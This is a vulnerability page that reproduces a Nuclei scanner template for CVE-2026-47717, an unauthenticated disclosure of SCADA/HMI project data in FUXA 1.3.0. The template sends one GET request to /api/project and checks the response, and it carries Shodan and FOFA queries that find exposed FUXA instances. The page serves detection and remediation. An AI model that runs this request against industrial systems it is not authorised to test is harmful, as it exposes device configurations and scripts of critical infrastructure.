BiuPoC

CVE-2026-47717: FUXA 1.3.0 - Unauthenticated ICS/SCADA Project Data Disclosure

2026-06-24 FUXA PoC Public

Description

FUXA v1.3.0 exposes full SCADA/HMI project configuration via GET /api/project without authentication, even when secureEnabled is true. The secureFnc middleware auto-generates

a valid guest JWT when no token is provided, bypassing authentication. Exposed data includes server-side scripts, device configs, HMI views, and alarm definitions.

PoC

id: CVE-2026-47717

info:
  name: FUXA 1.3.0 - Unauthenticated ICS/SCADA Project Data Disclosure
  author: pussycat0x
  severity: high
  description: |
    FUXA v1.3.0 exposes full SCADA/HMI project configuration via GET /api/project without authentication, even when secureEnabled is true. The secureFnc middleware auto-generates
    a valid guest JWT when no token is provided, bypassing authentication. Exposed data includes server-side scripts, device configs, HMI views, and alarm definitions.
  remediation: |
    Upgrade to fuxa-server version 1.3.1 or later.
  reference:
    - https://github.com/advisories/GHSA-q3w6-q3hc-c5x6
    - https://www.miggo.io/vulnerability-database/cve/CVE-2026-47717
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-47717
    epss-score: 0.01375
    epss-percentile: 0.71169
    cwe-id: CWE-201
  metadata:
    verified: true
    max-request: 1
    vendor: frangoteam
    product: fuxa
    shodan-query: http.title:"FUXA"
    fofa-query: title="FUXA"
  tags: cve,cve2026,fuxa,ics,scada,unauth,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/project"

    headers:
      Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"devices\"", "\"hmi\"", "\"scripts\"", "\"views\"")'
          - 'contains_any(body, "\"polling\"", "\"svgcontent\"", "\"ModbusTCP\"", "\"bkcolor\"")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402201dc40cba5f45ea9632d3fb2fa118d9bfbe730a95ff2945973a0be0d3fa0b91f8022032f83b4c56a1e3fba3cdc3a9451bfab496aac6aaca8cc630ae05af95c56b7176:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-47717.yaml

References

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